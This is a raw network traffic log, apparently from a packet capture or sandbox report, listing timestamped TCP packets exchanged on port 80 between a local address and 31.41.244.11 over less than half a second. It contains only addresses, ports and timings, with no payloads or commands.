Dec 18, 2024 15:22:13.517509937 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.517600060 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.517601967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.517651081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.518506050 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.518587112 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.518682003 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.518944979 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.519633055 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.519784927 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.519812107 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.519860029 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.520683050 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.520750046 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.520768881 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.520844936 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.521789074 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.521863937 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.521946907 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.522018909 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.523233891 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.523300886 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.523421049 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.523523092 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.523993969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.524061918 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.524080038 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.524106979 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.524962902 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.525052071 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.525079966 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.525125027 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.526072979 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.526190042 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.526194096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.526247025 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.527156115 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.527218103 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.527298927 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.527298927 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.528291941 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.528357983 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.528445959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.528565884 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.529297113 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.529409885 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.664625883 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.664696932 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.664818048 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.664964914 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.664983988 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.665038109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.665038109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.665934086 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.666007042 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.666068077 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.667001963 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.667114973 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.667120934 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.667332888 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.668203115 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.668266058 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.668281078 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.668342113 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.669228077 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.669384003 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.669454098 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.669552088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.670290947 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.670489073 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.670546055 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.671308041 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.671370983 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.671422005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.671422005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.672415972 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.672498941 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.672558069 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.673521996 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.673592091 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.673800945 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.674537897 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.674640894 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.674704075 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.675597906 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.675720930 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.675815105 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.676737070 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.676824093 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.676888943 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.677833080 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.677925110 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.678003073 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.678056955 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.678915977 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.678976059 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.679023027 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.679147005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.680020094 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.680130959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.680166006 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.680430889 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.681030989 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.681091070 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.681107998 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.681166887 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.682291985 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.682444096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.682499886 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.683321953 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.683402061 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.683454990 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.683454990 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.684401989 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.684478045 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.684506893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.684602022 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.685471058 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.685585022 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.685600996 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.685961008 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.686566114 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.686770916 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.686846972 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.687731028 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.687791109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.687845945 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.688190937 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.688992023 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.689138889 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.689270973 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.690177917 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.690242052 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.690262079 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.690306902 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.691261053 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.691365957 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.691435099 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.691545963 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.692650080 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.692754030 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.692791939 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.692959070 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.693864107 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.693916082 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.693975925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.694895029 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.694997072 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.695035934 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.695163012 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.695825100 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.695902109 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.695949078 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.695949078 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.696778059 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.696789026 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.696986914 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.697640896 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.697652102 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.697757959 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.698734045 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.698797941 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.698854923 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.698904037 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.699666977 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.699742079 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.699769974 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.700066090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.700664997 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.700702906 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.700751066 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.701530933 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.701627970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.701769114 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.702590942 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.702714920 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.702951908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.703656912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.703788996 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.703970909 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.704754114 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.704859972 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.704909086 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.704940081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.705843925 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.705933094 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.706124067 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.706286907 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.706928968 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.707022905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.707096100 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.708065033 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.708214998 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.708230972 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.708266973 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.710083961 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.710151911 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.710155964 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.710354090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.711662054 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.711741924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.711761951 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.711802959 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.712270975 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.712332964 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.712359905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.712425947 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.712979078 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.713031054 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.713087082 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.713162899 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.713881016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.713948011 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.713965893 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.714024067 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.714569092 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.714586020 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.714740038 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.715524912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.715615034 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.715630054 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.715673923 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.716676950 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.716738939 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.716759920 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.716784000 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.717828035 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.717890024 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.717968941 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.718878031 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.718946934 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.719017029 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.719017029 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.719912052 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.720009089 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.720135927 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.720942974 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.721211910 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.856794119 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.856931925 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.857024908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.857064009 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.857181072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.857342005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.857400894 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.857507944 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.857527018 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.857579947 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.858591080 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.858731985 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.858737946 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.858810902 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.859543085 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.859592915 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.859659910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.859703064 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.860882998 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.861067057 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.861131907 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.862150908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.862216949 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.862267017 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.862267017 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.862955093 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.863065004 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.863085985 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.863190889 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.864211082 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.864283085 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.864358902 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.864415884 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.865422964 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.865503073 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.865592957 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.866271019 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.866354942 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.866360903 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.866452932 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.867104053 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.867207050 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.867300987 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.867378950 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.868206978 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.868323088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.868340969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.868477106 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.869261980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.869381905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.869441986 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.869529963 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.870522976 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.870594025 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.870635033 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.870665073 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.871923923 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.872008085 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.872165918 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.872656107 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.872731924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.872803926 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.872803926 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.873667955 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.873723984 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.873739004 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.873873949 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.874679089 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.874825954 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.874867916 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.874867916 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.875817060 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.875902891 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.876000881 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.876838923 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.876938105 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.877326965 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.877768993 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.877922058 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.878045082 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.878206015 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.878985882 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.879035950 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.879148006 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.879190922 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.880270958 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.880352974 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.880354881 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.880538940 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.881194115 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.881253004 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.881320000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.881465912 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.882251978 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.882359982 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.882366896 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.882497072 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.883299112 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.883361101 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.883411884 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.883487940 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.884419918 CET	80	49910	31.41.244.11	192.168.2.5
